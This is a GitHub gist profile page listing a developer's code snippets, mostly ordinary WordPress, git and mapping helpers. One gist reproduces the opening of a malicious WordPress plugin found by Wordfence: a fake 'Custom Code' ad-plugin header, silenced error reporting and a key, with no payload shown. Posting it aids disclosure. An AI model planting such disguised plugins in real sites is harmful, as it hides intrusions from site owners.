Skip to content

Instantly share code, notes, and snippets.

View arslanfarooq's full-sized avatar

Arslan Farooq arslanfarooq

  • Pakistan
View GitHub Profile
@arslanfarooq
arslanfarooq / ccode.php
Created July 8, 2020 17:08
WordPress malware found in wp-content=>plugins by Wordfence
<?php
/**
* Plugin Name: Custom Code
* Description: show cusom ad codes with many options .
* Author: Alberto Uozumi
* Version: 1.0
*/
error_reporting(0);
ini_set('display_errors', 0);
$plugin_key='513ca0e9b3d5b9dbce390430591d7f43';
@arslanfarooq
arslanfarooq / git-commit-log-stats.md
Created October 23, 2019 11:06 — forked from eyecatchup/git-commit-log-stats.md
Some commands to get git commit log statistics for a repository on the command line.

git commit stats

Commands to get commit statistics for a Git repository from the command line -
using git log, git shortlog and friends.




@arslanfarooq
arslanfarooq / export_users.php
Created October 3, 2019 10:26 — forked from fahdi/export_users.php
Export ExpressionEngine members to CSV
<?php
header('Content-Type: application/csv');
header('Content-Disposition: attachment; filename=member_export.csv');
header('Pragma: no-cache');
?>
{!--
Exports the EE members in CSV format. This is only accessible to admins and editors.
Does not export members in the banned or guests groups.
<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
<?php if ( ! twentynineteen_can_show_post_thumbnail() ) : ?>
<header class="entry-header">
<?php get_template_part( 'template-parts/header/entry', 'header' ); ?>
</header>
<?php endif; ?>
<div class="entry-content">
<?php
the_content(
wp_enqueue_script( 'theme_js', get_stylesheet_directory_uri() . '/js/custom.js', array( 'jquery' ), '20.4.3.1', true );
@arslanfarooq
arslanfarooq / .gitignore
Created December 13, 2018 12:53
My git ignore file
# Images and fonts #
###################
*.jpg
*.jpeg
*.gif
*.png
*.woff
*.woff2
*.ttf
*.otf
@arslanfarooq
arslanfarooq / for-include-or-functions.php
Created May 2, 2018 05:49 — forked from carasmo/for-include-or-functions.php
Add Custom Post Type and Taxonomy Terms to wp_link_query. Link search function in WordPress editor add Custom Post Types and Taxonomy Terms
<?php
//don't re add the php tag above
add_filter('wp_link_query', 'cab_add_custom_post_type_archive_link', 10, 2);
/**
* Add Custom Post Type archive to WordPress search link query
* Author: https://github.com/mthchz/editor-archive-post-link/blob/master/editor-archive-post-link.php
*/
function cab_add_custom_post_type_archive_link( $results, $query ) {
@arslanfarooq
arslanfarooq / TileLayer.Common.js
Created April 18, 2018 07:09 — forked from mourner/TileLayer.Common.js
Leaflet shortcuts for common tile providers
// Lefalet shortcuts for common tile providers - is it worth adding such 1.5kb to Leaflet core?
L.TileLayer.Common = L.TileLayer.extend({
initialize: function (options) {
L.TileLayer.prototype.initialize.call(this, this.url, options);
}
});
(function () {
@arslanfarooq
arslanfarooq / Extend Recent Posts
Last active March 12, 2018 14:24 — forked from paulruescher/Extend Recent Posts
Used this to change the output of WordPress' Recent Posts Widget
<?php
/**
* Extend Recent Posts Widget
*
* Adds different formatting to the default WordPress Recent Posts Widget
*/
Class My_Recent_Posts_Widget extends WP_Widget_Recent_Posts {
function widget($args, $instance) {
@arslanfarooq
arslanfarooq / 70e04a67f1f5fd96a708.md
Created May 3, 2017 05:25 — forked from oshliaer/70e04a67f1f5fd96a708.md
Extract Gmail content to a spreadsheet #gas #gmail #sheet